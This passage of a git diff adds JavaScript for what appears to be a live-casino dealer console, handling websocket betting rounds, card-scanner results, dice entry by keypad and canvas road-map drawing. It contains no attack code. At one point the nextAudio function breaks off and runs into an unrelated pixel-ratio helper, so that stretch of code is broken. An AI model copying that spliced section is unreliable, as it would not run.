s.toLowerCase(); + var c = card.substr(1, 1); + var h = ''; + var n = ''; + switch(c) { + case 's': h = '1'; break; + case 'h': h = '2'; break; + case 'c': h = '3'; break; + default: h = '4'; break; + } + switch(s) { + case '1': n = '01'; break; + case '2': n = '02'; break; + case '3': n = '03'; break; + case '4': n = '04'; break; + case '5': n = '05'; break; + case '6': n = '06'; break; + case '7': n = '07'; break; + case '8': n = '08'; break; + case '9': n = '09'; break; + case 't': n = '10'; break; + case 'j': n = '11'; break; + case 'q': n = '12'; break; + case 'a': n = '01'; break; + default : n = '13'; break; + } + + var result = h + n; + return result; +} diff --git a/public/static/handle/js/handle_dice.js b/public/static/handle/js/handle_dice.js new file mode 100644 index 0000000..8d3efea --- /dev/null +++ b/public/static/handle/js/handle_dice.js @@ -0,0 +1,833 @@ +var userid = parseInt($('#userid').val()); +var login_token = $('#login_token').val(); +var table_id = parseInt($('#table_id').val()); +var game_id = parseInt($('#game_id').val()); +var account = $('#account').val(); +var number_tab_id; +var ludan; +var isCBoot = false; +var isopentime = false; +var num = 0; +var card_info=[]; + +var websocket = io(websocketProtocol+"://"+websocketUrl+"/?table_id="+table_id+"&account="+account+"&connect=space&userid="+userid+"&login_token="+login_token,{transports: ['websocket']}); +websocket.on('reconnecting', (timeout) => { + //触发重连 + layer.msg('服务断开,正在重新连接...', { + icon: 16, + shade: 0.6, + time:0, + }); +}); +websocket.on('reconnect', (timeout) => { + //重连成功 + layer.closeAll(); + layer.msg('服务重新连接成功'); +}); +//事件 发送******************************************************************************************************************* +var startBet = function(){ + websocket.emit('startBet',{table_id : table_id, number_tab_id : number_tab_id}); +}; +var endBet = function (){ + websocket.emit('endBet',{table_id : table_id, number_tab_id : number_tab_id}); +}; +var resetNumberTab = function(){ + isCBoot = true; + var betStatus = $("#number_tab_status").val(); + if(betStatus == 1 || betStatus == 2){ + layer.confirm(lang.is_reset_number,{btn: [lang.confirm,lang.cancel],title:lang.message}, function(index){ + websocket.emit('resetNumberTab',{table_id : table_id}); + isCBoot = false; + layer.close(index); + $('#dice_item_1 img').attr("src", '/static/handle/img/dice0.png'); + $('#dice_item_2 img').attr("src", '/static/handle/img/dice0.png'); + $('#dice_item_3 img').attr("src", '/static/handle/img/dice0.png'); + hideDiceBox(); + },function(index){ + isCBoot = false; + }); + }else{ + layer.msg(lang.reset_number_fail); + } +}; +var changeBoot = function(){ + isCBoot = true; + var betStatus = $("#number_tab_status").val(); + if(betStatus == 0 || betStatus == 3){ + layer.confirm(lang.is_to_boot,{btn: [lang.confirm,lang.cancel],title:lang.message}, function(index){ + websocket.emit('changeBoot',{table_id : table_id}); + isCBoot = false; + layer.close(index); + },function(index){ + isCBoot = false; + }); + }else{ + layer.msg(lang.change_boot_false); + } +}; +var resetBoot = function(){ + layer.confirm(lang.is_to_balance,{btn: [lang.confirm,lang.cancel],title:lang.message}, function(index){ + websocket.emit('resetBoot',{table_id : table_id}); + layer.close(index); + }); +}; +var opening = function(){ + $('.control-box .btn-box2 span').removeClass('on'); + let result = $('#dice_result').val(); + websocket.emit('openingDice',{table_id : table_id, number_tab_id : number_tab_id, result : result}); +}; +// 骰宝显示 +var showDiceBox = function (){ + $('#dice_box').fadeIn(); +} +var hideDiceBox = function (){ + $('#dice_box').addClass('flicker'); + $('#dice_box').fadeOut(2400,'linear',function(){ + $('#dice_result').val(""); + $('#dice_box').removeClass('flicker'); + $('#dice_item_1 img').attr("src", '/static/handle/img/dice0.png'); + $('#dice_item_2 img').attr("src", '/static/handle/img/dice0.png'); + $('#dice_item_3 img').attr("src", '/static/handle/img/dice0.png'); + }); +} +//事件 发送******************************************************************************************************************* +//事件返回********************************************************************************************************************* +websocket.on('onlineLogin',function(data){ + if (data.table_id === table_id) { + if(data.status === true){ + setNumberInfo(data.round); + setBetStatus(data.round.number_tab_status); + waybillFunc(); + }else{ + layer.msg(lang[data.msg],{time:0}); + } + } + +}); +websocket.on('RepeatedEntry',function(data){ + websocket.close(); + layer.msg(lang[data.msg]); + setTimeout(function (){ + window.location.href='/login/logout'; + },2000); +}); +websocket.on('startBet',function(data){ + if(data.status === true && data.table_id === table_id){ + mp3List = ['start.mp3']; + audioMp3(mp3List).Play(); + setBetStatus(data.round.number_tab_status); + }else{ + if (data.table_id != undefined && data.table_id == table_id) { + layer.msg(lang[data.msg]); + } + } +}); +websocket.on('sendScanResult',function(data){ + if(data.status === true && data.table_id == table_id){ + if(game_id == 1 || game_id == 2){ + Flop(data); + }else if(game_id==4||game_id==5){ + if(data.round.position == 0){ + flop_position(data); + }else{ + flop_card(data); + } + } + }else{ + if (data.table_id != undefined && data.table_id == table_id) { + layer.msg(lang[data.msg]); + } + } +}); +websocket.on('resetNumberTab',function(data){ + if(data.status === true && data.table_id == table_id){ + setNumberInfo(data.round); + setBetStatus(data.round.number_tab_status); + $(".countdown").css({"opacity":0,"display":"none"}); + $(".countdown .grab-count").removeClass("count-active"); + $(".begincard .box").animate({"opacity":"0"},function(){ + $(".begincard").fadeOut(); + + $(".table-info .nobegin-tip").fadeIn(); + $('.box1').css("background-color","rgba(0, 0, 0, 0.5)"); + $('.box2').css("background-color","rgba(0, 0, 0, 0.5)"); + $('.box3').css("background-color","rgba(0, 0, 0, 0.5)"); + $('.box4').css("background-color","rgba(0, 0, 0, 0.5)"); + $(".begincard .box .list .card").removeClass("begin") + $(".begincard .card .topleft").html("") + $(".begincard .card .bottomright").html("") + $(".list .card .face").css("background-image","") + $(".begincard .list .draw .rotate").css("display",'none'); + }); + card_info=[]; + }else{ + if (data.table_id != undefined && data.table_id == table_id) { + layer.msg(lang[data.msg]); + } + } +}); +websocket.on('changeBoot',function(data){ + if(data.status === true && data.table_id == table_id){ + setNumberInfo(data.round); + setBetStatus(data.round.number_tab_status); + // clearBetAmount(); + waybillFunc(); + }else{ + if (data.table_id != undefined && data.table_id == table_id) { + layer.msg(lang[data.msg]); + } + } +}); +websocket.on('resetBoot',function(data){ + if(data.status === true && data.table_id == table_id){ + setNumberInfo(data.round); + setBetStatus(data.round.number_tab_status); + waybillFunc(); + }else{ + if (data.table_id != undefined && data.table_id == table_id) { + layer.msg(lang[data.msg]); + } + } +}); +websocket.on('startBetCountDown',function(data){ + if(data.status == true && data.table_id == table_id){ + countDown(data.count_down); + } +}); +websocket.on('endBet',function(data){ + if(data.status === true && data.table_id == table_id){ + $(".countdown").css({"opacity":0,"display":"none"}); + $(".countdown .grab-count").removeClass("count-active"); + mp3List = ['stop_2.mp3']; + audioMp3(mp3List).Play(); + if(game_id == 4 || game_id == 5){ + $(".banker_result").html(''); + $(".player_1_result").html(''); + $(".player_2_result").html(''); + $(".player_3_result").html(''); + } + $(".countdown").css({"opacity":0,"display":"none"}); + $(".countdown .grab-count").removeClass("count-active"); + setBetStatus(data.round.number_tab_status); + }else{ + if (data.table_id != undefined && data.table_id == table_id) { + layer.msg(lang[data.msg]); + } + } +}); +websocket.on('openingDice',function(data){ + if(data.status === true && data.table_id == table_id){ + setNumberInfo(data.round); + setBetStatus(data.round.number_tab_status); + waybillFunc(); + hideDiceBox(); + }else{ + if (data.table_id != undefined && data.table_id == table_id) { + layer.msg(lang[data.msg]); + } + } +}); +//事件返回********************************************************************************************************************* + +//启动执行 +$(function(){ + getLang(); + //视频处理 + $("#video-iframe").attr("src",player+'?url='+flvUrl); + $(document).keydown(function (e){ + if(e.keyCode == 13){ + + var cookieValue = $.cookie("enter_time"); + if(!cookieValue){ + $.cookie("enter_time", 1, { expires: 1/86400*3 }); + }else{ + layer.msg('Please hold on'); + return false + } + + if(isCBoot == true){ + $('.layui-layer-btn0').click(); + isCBoot = false; + }else{ + //var keycode = $('#keycode').val(); + var numberTabStatus = $('#number_tab_status').val(); + //if(keycode == '6'){ + if (numberTabStatus == 0) { + if(!isopentime){ + var is_rob = $('#is_rob').val(); + if(is_rob == 1){ + startRob(); + }else{ + startBet(); + } + $('#keycode').val(''); + }else{ + layer.msg("请稍等!"); + } + }else if (numberTabStatus == 2) { + opening(); + } + } + } + //开局 + if(e.keyCode == 111){ + $('#keycode').val('6'); + } + //修改当前状态 + if(e.keyCode == 109){ + $('#update_ludan').toggle(); + } + //换靴 + if(e.keyCode == 107){ + changeBoot(); + $('#keycode').val(''); + } + //退出登录 + if(e.keyCode == 106){ + if(table_type == 1){ + cutout(); + $('#keycode').val(''); + }else{ + if(bet_type == 2){ + cutout(); + $('#keycode').val(''); + }else{ + loginout(); + $('#keycode').val(''); + } + } + } + //取消 + if(e.keyCode == 110){ + $('.layui-layer-btn1').click(); + } + // 停止倒计时 + if(e.keyCode == 96){ + if(game_id == 5 || game_id == 4){ + var number_rob_status=$("#number_rob_status").val(); + var number_tab_status=$("#number_tab_status").val(); + if((number_rob_status==1&&number_tab_status==0)||(number_rob_status==2&&number_tab_status==0)){ + endRob(); + }else{ + endBet(); + } + }else{ + endBet(); + } + } + // 骰宝结果选择 + if (game_id == 7){ + console.log(e.keyCode); + if (e.keyCode == 97 || e.keyCode == 98 || e.keyCode == 99 || e.keyCode == 100 || e.keyCode == 101 || e.keyCode == 102){ + var num = 0; + switch (e.keyCode){ + case 97: + num = 1; + break; + case 98: + num = 2; + break; + case 99: + num = 3; + break; + case 100: + num = 4; + break; + case 101: + num = 5; + break; + case 102: + num = 6; + break; + } + if (num > 0){ + var resultString = $('#dice_result').val(); + var resultArray = []; + if (resultString != ''){ + resultArray = resultString.split(","); + } + if (resultArray.length < 3){ + resultArray.push(num); + if (resultArray.length == 1){ + $('#dice_item_1 img').attr("src", '/static/handle/img/dice'+num+'.png'); + } else if (resultArray.length == 2) { + $('#dice_item_2 img').attr("src", '/static/handle/img/dice'+num+'.png'); + } else if (resultArray.length == 3){ + $('#dice_item_3 img').attr("src", '/static/handle/img/dice'+num+'.png'); + } + $('#dice_result').val(resultArray.join(",")); + } + } + } else if (e.keyCode == 109){ + $('#dice_result').val(''); + $('#dice_item_1 img').attr("src", '/static/handle/img/dice0.png'); + $('#dice_item_2 img').attr("src", '/static/handle/img/dice0.png'); + $('#dice_item_3 img').attr("src", '/static/handle/img/dice0.png'); + } + } + }) + $(window).resize(function(){ + init(ludan); + }) + audio.addEventListener("ended", nextAudio); + getTime(); + // 日期 + setInterval(function(){ + getTime(); + }, 1000); + // 侧栏控台 + $(".control-box").hover(function(){ + $(".control-box").stop().animate({right:"0"}) + },function(){ + $(".control-box").stop().animate({right:"-410px"}) + }) + // 多语言切换 + $('#language').change(function(){ + var language = $('#language').val(); + if(language == "cn" || language == "tw" || language == "en"){ + $.get("/index/lang?lang="+language,function(data){ + location.reload(); + }) + } + }); + $("#confirm_update_ludan").click(function (){ + retreated(); + }); + $("#cancel_update_ludan").click(function (){ + $('#update_ludan').hide(); + }); + // 色碟方法 + $('.toning-result-num').click(function () { + $('#toning_result').val(parseInt($(this).html())); + $(this).addClass("active").siblings().removeClass("active"); + }) +}) +function loginout(){ + isCBoot = true; + layer.confirm(lang.is_to_logout,{btn: [lang.confirm,lang.cancel],title:lang.message}, function(index){ + window.location.href='/login/logout'; + isCBoot = false; + layer.close(index); + },function(index){ + isCBoot = false; + }); +} +//获取当前语言包 +function getLang(){ + $.ajax({ + url:"/index/get_lang", + type:"POST", + dataType:"JSON", + async:false, + success:function(data){ + if(data.status === 1){ + lang = data.lang; + } + } + }) +} +//倒计时 +function countDown(time) { + $(".countdown .num").html(time) + $(".countdown").css({"opacity":1,"display":"block"}); + $(".countdown .grab-count").addClass("count-active"); + if(time == 10){ + mp3List = ['time_tip_10.mp3']; + audioMp3(mp3List).Play(); + } + if(time < 9 && time > 0){ + mp3List = ['time.mp3']; + audioMp3(mp3List).Play(); + } + if(time<=0){ + mp3List = ['stop_2.mp3']; + audioMp3(mp3List).Play(); + $(".countdown").css({"opacity":0,"display":"none"}); + $(".countdown .grab-count").removeClass("count-active"); + return; + } +} +//播放声音 +function audioMp3(mp3List){ + var mp3=new Object(); + mp3.mp3List=mp3List; + mp3.url="/static/handle/mp3/"; + mp3.auto_play=false; + mp3.loop=false; + mp3.Play=function(){ + audio.src=this.url+this.mp3List[0]; + audio.play(); + } + mp3.Muted=function(){ + audio.muted ? audio.muted = false : audio.muted = true; + } + mp3.volumeAdd=function(){ + if(audio.volume.toFixed(1)>=1){ + audio.volume=1 + }else{ + audio.volume = audio.volume + 0.1; + } + } + mp3.volumeMinus=function(){ + if(audio.volume.toFixed(1)<=0){ + audio.volume=0 + }else{ + audio.volume = audio.volume - 0.1; + } + } + return mp3; +} +function Flop(data){ + var whichpoker='',pokerindex='',pokercard=''; + if(data.status==true){ + var which = data.round.position; + if(game_id == 1){ + switch(which){ + case 11: + whichpoker='player-card'; + pokerindex=1; + card_info["player_2"]=data.round.number; + break; + case 12: + whichpoker='player-card'; + pokerindex=0; + card_info["player_1"]=data.round.number; + break; + case 13: + whichpoker='player-card'; + pokerindex=2; + card_info["player_3"]=data.round.number; + break; + case 21: + whichpoker='banker-card'; + pokerindex=1; + card_info["banker_2"]=data.round.number; + break; + case 22: + whichpoker='banker-card'; + pokerindex=0; + card_info["banker_1"]=data.round.number; + break; + case 23: + whichpoker='banker-card'; + pokerindex=2; + break; + } + }else{ + switch(which){ + case 11: + whichpoker='player-card'; + pokerindex=0; + card_info["player_1"]=data.round.number; + break; + case 21: + whichpoker='banker-card'; + pokerindex=0; + card_info["banker_1"]=data.round.number; + break; + } + } + pokercard = data.round.card; + var $poker = $('.begincard '+'.'+ whichpoker+' .card'); + var pokersrc="/static/handle/faces/"+pokercard+".svg"; + if(pokercard<200){ + var color="#000" + }else if(pokercard<300){ + var color="#f13b3d" + }else if(pokercard<400){ + var color="#000" + }else if(pokercard<500){ + var color="#f13b3d" + } + if(data.round.number == 1){ + data.round.number = "A"; + } + if(data.round.number == 11){ + data.round.number = "J"; + } + if(data.round.number == 12){ + data.round.number = "Q"; + } + if(data.round.number == 13){ + data.round.number = "K"; + } + $poker.eq(pokerindex).find(".topleft").html(data.round.number); + $poker.eq(pokerindex).find(".bottomright").html(data.round.number); + $poker.eq(pokerindex).find(".topleft").css("color",color); + $poker.eq(pokerindex).find(".bottomright").css("color",color); + + if(pokerindex==2){ + $('.begincard '+'.'+ whichpoker +' .draw .rotate').css("display","inline-block"); + $poker.eq(pokerindex).addClass("begin"); + $poker.eq(pokerindex).find(".face").css("background-image","url("+pokersrc+")"); + $(".begincard .banker-card .draw .text").css("text-align","left"); + $(".begincard .player-card .draw .text").css("text-align","right"); + }else{ + $poker.eq(pokerindex).addClass("begin"); + $poker.eq(pokerindex).find(".face").css("background-image","url("+pokersrc+")"); + } + } +} + // 桌子状态 +var setBetStatus = function (BetStatus){ + $('#number_tab_status').val(BetStatus.bet_status); + if(BetStatus.bet_status==2){ + $('.nobegin-tip').html(""); + $('#show-status-span').html(""); + showDiceBox(); + }else if(BetStatus.bet_status==1){ + $('.nobegin-tip').html(lang[BetStatus.bet_msg]); + $('#show-status-span').html(""); + }else{ + $('.nobegin-tip').html(lang[BetStatus.bet_msg]); + $('#show-status-span').html(""); + } +}; +// 获取桌子数据 +var setNumberInfo = function (round){ + number_tab_id = round.number_tab_id + $('#boot_num').html(round.boot_num); + $('#number').html(round.number_tab_number); + $('#boot_id').val(round.boot_id); +}; +//修改或者删除录单后从新获取number +var getNumber = function (){ + var query = new Object(); + query.number_tab_id = number_tab_id; + $.ajax({ + url:"/index/get_number", + type:"POST", + dataType:"JSON", + data:query, + async:false, + success:function(data){ + if(data.status == 1){ + $('#number').html(data.data); + } + } + }) +}; +function nextAudio(){ + num+=1 + if(num { + const backingStore = + context.backingStorePixelRatio || + context.webkitBackingStorePixelRatio || + context.mozBackingStorePixelRatio || + context.msBackingStorePixelRatio || + context.oBackingStorePixelRatio || + context.backingStorePixelRatio || + 1; + return (window.devicePixelRatio || 1) / backingStore; + }; + const ctb = document.getElementById("canvas").getContext("2d"), + dpr = getPixelRatio(ctb), + height = canvas.clientHeight, + width = canvas.clientWidth, + rows = 6; + const unit = (height / rows) * dpr, + cols = parseInt(width / (unit / dpr)); + canvas.setAttribute("width", unit * cols); + canvas.setAttribute("height", unit * rows); + DiceWaybill(data, ctb, unit, rows, cols); +} + +function DiceWaybill(data, ctb, unit, rows, cols) { + ctb.clearRect(0, 0, unit * (cols + 1), unit * (rows + 1)); + const sprite = new Image(); + // sprite.crossOrigin = "anonymous"; + sprite.src = diceSpriteSrc; + let diceWidth = 0, + diceHeight = 0, + spriteArray = []; + sprite.onload = () => { + diceWidth = sprite.width / 2; + diceHeight = sprite.height / 6; + spriteArray = { + dice_1: [0, 0], + dice_2: [0, 1], + dice_3: [0, 2], + dice_odd: [0, 3], + dice_even: [0, 4], + dice_triplet: [0, 5], + dice_4: [1, 0], + dice_5: [1, 1], + dice_6: [1, 2], + dice_small: [1, 3], + dice_big: [1, 4], + dice_num: [1, 5], + }; + inputData(data); + drawLine(); + }; + + function inputData(data) { + // 数据截取 + let newData = []; + const L = data.length; + const Tab = cols - 1; + if (L <= Tab) { + newData = data; + } else { + newData = data.slice(L - Tab, L); + } + // 绘制图标 + newData.forEach((v, i) => { + const totle = v[0] + v[1] + v[2]; + drawIcon(i, 0, "icon", v[0]); + drawIcon(i, 1, "icon", v[1]); + drawIcon(i, 2, "icon", v[2]); + drawIcon(i, 3, "num", totle); + if ((v[0] == v[1]) && (v[1] == v[2])) { + drawIcon(i, 4, "icon", "triplet"); + drawIcon(i, 5, "icon", "triplet"); + } else { + if (totle >= 11) { + drawIcon(i, 4, "icon", "big"); + } else { + drawIcon(i, 4, "icon", "small"); + } + if (totle % 2 == 0) { + drawIcon(i, 5, "icon", "even"); + } else { + drawIcon(i, 5, "icon", "odd"); + } + } + }); + } + function drawIcon(x, y, type, text) { + if (type == "icon") { + const position = spriteArray[`dice_${text}`]; + ctb.drawImage( + sprite, + position[0] * diceWidth, + position[1] * diceHeight, + diceWidth, + diceHeight, + unit * x + unit * 0.05, + unit * y + (unit / diceWidth) * diceHeight * 0.05, + unit * 0.9, + (unit / diceWidth) * diceHeight * 0.9 + ); + } else if (type == "num") { + const position = spriteArray[`dice_num`]; + ctb.drawImage( + sprite, + position[0] * diceWidth, + position[1] * diceHeight, + diceWidth, + diceHeight, + unit * x + unit * 0.05, + unit * y + (unit / diceWidth) * diceHeight * 0.05, + unit * 0.9, + (unit / diceWidth) * diceHeight * 0.9 + ); + ctb.font = unit * 0.58 + "px Arial"; + ctb.fillStyle = "#fff"; + ctb.textAlign = "center"; + ctb.textBaseline = "middle"; + ctb.fillText(text, unit * (x + 0.45), unit * (y + 0.55)); + } + } + function drawLine() { + const CanvasWidht = unit * cols; + const CanvasHeight = unit * rows; + ctb.lineWidth = 1; + ctb.strokeStyle = "#deded9"; + ctb.beginPath(); + for (let i = 0; i <= rows; i++) { + ctb.moveTo(0, unit * i); + ctb.lineTo(CanvasWidht, unit * i); + } + for (let j = 0; j <= cols; j++) { + ctb.moveTo(unit * j, 0); + ctb.lineTo(unit * j, CanvasHeight); + } + ctb.closePath(); + ctb.stroke(); + } +} \ No newline at end of file diff --git a/public/static/handle/js/handle_dt_sb.js b/public/static/handle/js/handle_dt_sb.js new file mode 100644 index 0000000..835e164 --- /dev/null +++ b/public/static/handle/js/handle_dt_sb.js @@ -0,0 +1,2733 @@ +var userid = parseInt($('#userid').val()); +var login_token = $('#login_token').val(); +var table_id = parseInt($('#table_id').val()); +var game_id = parseInt($('#game_id').val()); +var account = $('#account').val(); +var number_tab_id; +var ludan; +var isCBoot = false; +var isopentime = false; +var num = 0; +var card_info=[]; +var isWin={ + win_player_1:null, + win_player_2:null, + win_player_3:null, + text:[] +}; + +// 识别相关 +var position = ['21', '11']; +var stopScan = false; +var scanTask = null; +var scanPosition = 1; +if (game_id == 4) { + scanPosition = 21; // 定位牌 +} + +// NN识别相关 +var scanDefaultPosition = 'P1'; // 默认定位区 +var positionScanTask = null; +var isPositionScaned = false; +var positionCard = 0; +var isCardScaned = false; +var currentPositionToChange = -1; + +// 百家乐修改相关 +var manualStopAi = false; + + +var initScanParams = function() { + clearInterval(scanTask); + scanTask = null; + stopScan = false; + scanPosition = 1; + if (game_id == 4) { + scanPosition = 21; + } + scanDefaultPosition = 'P1'; + clearInterval(positionScanTask); + positionScanTask = null; + + isPositionScaned = false; + positionCard = 0; + isCardScaned = false; + currentPositionToChange = -1; + + manualStopAi = false; + + $(".countdown").css({"opacity":0,"display":"none"}); + $(".countdown .grab-count").removeClass("count-active"); +} +// 百家乐修改牌 +var openAllCardsPanel = function(dom) { + var positionOfCard = parseInt($(dom).attr('data-position')); + + if (positionOfCard > 0) { + if (manualStopAi) { + currentPositionToChange = positionOfCard; + $('#change_cards').show(); + } else { + layer.msg('请先手动停止AI识别。'); + } + + } + +} +var changeErrSbCard = function() { + var poker = $("input[name='cardToChanged']:checked").val(); + var positionNum = 0; + + layer.confirm(lang.confirm_to_change_card,{btn: [lang.confirm,lang.cancel],title:lang.message}, function(index){ + if (currentPositionToChange <= 0 ) { + layer.msg('出错。请刷新重试。'); + $('#change_cards').hide(); + return false; + } + + console.log('currentPositionToChange:' + currentPositionToChange); + + var query = new Object(); + + query.card = poker; + query.position = currentPositionToChange; + query.change = 1; + sendScanDt(query, 1); + $('input:checked').removeAttr('checked'); + $('#change_cards').hide(); + layer.close(index); + }); +} +var cancelChangeErrSbCard = function() { + $('input:checked').removeAttr('checked'); + $('#change_cards').hide(); +} +// + +var websocket = io(websocketProtocol+"://"+websocketUrl+"/?table_id="+table_id+"&account="+account+"&connect=space&userid="+userid+"&login_token="+login_token,{transports: ['websocket']}); +websocket.on('reconnecting', (timeout) => { + //触发重连 + layer.msg('服务断开,正在重新连接...', { + icon: 16, + shade: 0.6, + time:0, + }); +}); +websocket.on('reconnect', (timeout) => { + //重连成功 + layer.closeAll(); + layer.msg('服务重新连接成功'); +}); +//事件 发送******************************************************************************************************************* +var startBet = function(){ + sbSocket.emit("stop",{"tableCode":casinoTableId, "type":"SYS"}); + websocket.emit('startBet',{table_id : table_id, number_tab_id : number_tab_id}); +}; +var endBet = function (){ + websocket.emit('endBet',{table_id : table_id, number_tab_id : number_tab_id}); +}; +var startRob = function(){ + websocket.emit('startRob',{table_id : table_id, number_tab_id : number_tab_id}); +}; +var endRob = function(){ + websocket.emit('endRob',{table_id : table_id, number_tab_id : number_tab_id}); +}; + +// 重新SB +var restartSB = function(){ + manualStopAi = false; + sbSocket.emit('start', {'tableCode': casinoTableId, 'type': 'SYS', 'biz': number_tab_id}); +}; +var stopSB = function(){ + manualStopAi = true; + sbSocket.emit("stop",{"tableCode":casinoTableId, "type":"SYS"}); +}; + +var resetNumberTab = function(){ + isCBoot = true; + var betStatus = $("#number_tab_status").val(); + if(betStatus == 1 || betStatus == 2){ + layer.confirm(lang.is_reset_number,{btn: [lang.confirm,lang.cancel],title:lang.message}, function(index){ + websocket.emit('resetNumberTab',{table_id : table_id}); + isCBoot = false; + layer.close(index); + },function(index){ + isCBoot = false; + }); + }else{ + layer.msg(lang.reset_number_fail); + } +}; +var changeBoot = function(){ + isCBoot = true; + var betStatus = $("#number_tab_status").val(); + if(betStatus == 0 || betStatus == 3){ + layer.confirm(lang.is_to_boot,{btn: [lang.confirm,lang.cancel],title:lang.message}, function(index){ + websocket.emit('changeBoot',{table_id : table_id}); + isCBoot = false; + layer.close(index); + },function(index){ + isCBoot = false; + }); + }else{ + layer.msg(lang.change_boot_false); + } +}; +var resetBoot = function(){ + layer.confirm(lang.is_to_balance,{btn: [lang.confirm,lang.cancel],title:lang.message}, function(index){ + websocket.emit('resetBoot',{table_id : table_id}); + layer.close(index); + }); +}; +var opening = function(){ + $('.control-box .btn-box2 span').removeClass('on'); + if(game_id == 1){ + websocket.emit('openingBaccarat',{table_id : table_id, number_tab_id : number_tab_id}); + }else if(game_id == 2){ + websocket.emit('openingDt',{table_id : table_id, number_tab_id : number_tab_id}); + }else if(game_id == 4){ + websocket.emit('openingNn',{table_id : table_id, number_tab_id : number_tab_id}); + }else if(game_id == 5){ + websocket.emit('openingTc',{table_id : table_id, number_tab_id : number_tab_id}); + }else if(game_id == 6){ + let result = parseInt($('#toning_result').val()); + if (result == 0 || result == 1 || result == 2 || result == 3 || result == 4){ + websocket.emit('openingToning',{table_id : table_id, number_tab_id : number_tab_id, result : result}); + } + }else if(game_id == 7){ + let result = $('#dice_result').val(); + websocket.emit('openingDice',{table_id : table_id, number_tab_id : number_tab_id, result : result}); + } +}; + +// 百家乐发送数据 +var sendScanBaccarat = function(data, isChange = 0) { + if (isChange == 1) { + websocket.emit('sendScanBaccarat', + {table_id : table_id, number_tab_id : number_tab_id, card : data.card, position : data.position, change: data.change}); + } else { + websocket.emit('sendScanBaccarat', + {table_id : table_id, number_tab_id : number_tab_id, card : data.card, position : data.position}); + } +} + +// 龙虎发送数据 +var sendScanDt = function(data, isChange = 0) { + if (isChange == 1) { + websocket.emit('sendScanDt', + {table_id : table_id, number_tab_id : number_tab_id, card : data.card, position : data.position, change: data.change}); + } else { + websocket.emit('sendScanDt', + {table_id : table_id, number_tab_id : number_tab_id, card : data.card, position : data.position}); + } +} + +// 牛牛发送数据 +var sendScanNn = function(data) { + websocket.emit('sendScanNn', + {table_id : table_id, number_tab_id : number_tab_id, card : data.card, position : data.position}); +} + +// 色碟显示 +var showToningBox = function (){ + $('#toning_result_box').fadeIn(); +} +var hideToningBox = function (){ + $('#toning_result_box').fadeOut(); +} +// 骰宝显示 +var showDiceBox = function (){ + $('#dice_box').fadeIn(); +} +var hideDiceBox = function (){ + $('#dice_box').fadeOut(); +} +//事件 发送******************************************************************************************************************* +//事件返回********************************************************************************************************************* +websocket.on('onlineLogin',function(data){ + if (data.table_id === table_id) { + if(data.status === true){ + setNumberInfo(data.round); + setBetStatus(data.round.number_tab_status) + clearBetAmount(); + waybillFunc(); + if (data.round.number_tab_status.bet_status != undefined && data.round.number_tab_status.bet_status == 2){ + if(game_id == 4 || game_id == 5){ + showCardNn(data.round.show_card); + }else{ + showCard(data.round.show_card); + } + } + }else{ + layer.msg(lang[data.msg],{time:0}); + } + } + +}); +websocket.on('RepeatedEntry',function(data){ + websocket.close(); + layer.msg(lang[data.msg]); + setTimeout(function (){ + window.location.href='/login/logout'; + },2000); +}); +websocket.on('startBet',function(data){ + if(data.status === true && data.table_id === table_id){ + mp3List = ['start.mp3']; + audioMp3(mp3List).Play(); + setBetStatus(data.round.number_tab_status); + }else{ + if (data.table_id != undefined && data.table_id == table_id) { + layer.msg(lang[data.msg]); + } + } +}); +websocket.on('startRob',function(data){ + if(data.status === true && data.table_id == table_id){ + mp3List = ['start_rob.mp3']; + audioMp3(mp3List).Play(); + $("#number_rob_status").val(1); + }else{ + if (data.table_id != undefined && data.table_id == table_id) { + layer.msg(lang[data.msg]); + } + } +}); +websocket.on('startRobCountDown',function(data){ + if(data.status === true && data.table_id == table_id && data.count_down >= 0){ + $('.nobegin-tip').html('抢庄中'); + countDownRob(data.count_down); + }else{ + if (data.table_id != undefined && data.table_id == table_id) { + layer.msg(lang[data.msg]); + } + } +}); +websocket.on('endRob',function(data){ + $('.nobegin-tip').html(''); + if(data.status === true && data.table_id == table_id){ + $('#number_rob_status').val(2); + startBet(); + }else{ + if (data.table_id != undefined && data.table_id == table_id) { + layer.msg(lang[data.msg]); + } + } +}); + +websocket.on('sendScanChangeResult',function(data){ + if (game_id == 4 && data.status == false) { + layer.msg(data.msg); + } +}); + +websocket.on('sendScanResult',function(data){ + if(data.status === true && data.table_id == table_id){ + if(game_id == 1 || game_id == 2){ + Flop(data); + + // 识别相关 + if (scanner_type == 2 && game_id == 1 && data.round != undefined && data.round.position != undefined){ + var _position = parseInt(data.round.position); + switch(_position) { + case 11: + scanPosition = 2; + break; + case 12: + scanPosition = 3; + break; + case 21: + scanPosition = 4; + break; + case 22: + scanPosition = 5; + break; + case 13: + scanPosition = 6; + break; + case 23: + initScanParams(); + break; + } + } + }else if(game_id==4||game_id==5){ + if(data.round.position == 0){ + flop_position(data); + }else{ + // 识别相关 + if (scanner_type == 2 && game_id == 4) { + if (data.round.position == 20) { + scanPosition = 21; + scanDefaultPosition = 'P1'; + clearInterval(scanTask); + scanTask = null; + + clearInterval(positionScanTask); + positionScanTask = null; + + isPositionScaned = false; + isCardScaned = true; + } else { + var _position = data.round.position; + + switch (scanDefaultPosition) { + case 'P2': + if (_position < 15) { + scanPosition = _position + 6; + } else { + scanPosition = _position - 14; + } + break; + case 'P3': + if (_position < 10) { + scanPosition = _position + 11; + } else { + scanPosition = _position - 9; + } + break; + case 'B': + if (_position < 5) { + scanPosition = _position + 16; + } else { + scanPosition = _position -4; + } + break; + default: + scanPosition = _position + 1; + } + + if (scanPosition > 20) { + scanPosition = 1; + } + } + } + // + flop_card(data); + } + } + } + /*else{ + if (data.table_id != undefined && data.table_id == table_id) { + layer.msg(lang[data.msg]); + } + }*/ +}); +websocket.on('resetNumberTab',function(data){ + if(data.status === true && data.table_id == table_id){ + setNumberInfo(data.round); + setBetStatus(data.round.number_tab_status); + clearBetAmount(); + + // 识别相关 + if (scanner_type == 2) { + initScanParams(); + } + // + + $(".countdown").css({"opacity":0,"display":"none"}); + $(".countdown .grab-count").removeClass("count-active"); + $(".begincard .box").animate({"opacity":"0"},function(){ + $(".begincard").fadeOut(); + + $(".table-info .nobegin-tip").fadeIn(); + $('.box1').css("background-color","rgba(0, 0, 0, 0.5)"); + $('.box2').css("background-color","rgba(0, 0, 0, 0.5)"); + $('.box3').css("background-color","rgba(0, 0, 0, 0.5)"); + $('.box4').css("background-color","rgba(0, 0, 0, 0.5)"); + $(".begincard .box .list .card").removeClass("begin") + $(".begincard .card .topleft").html("") + $(".begincard .card .bottomright").html("") + $(".list .card .face").css("background-image","") + $(".begincard .list .draw .rotate").css("display",'none'); + }); 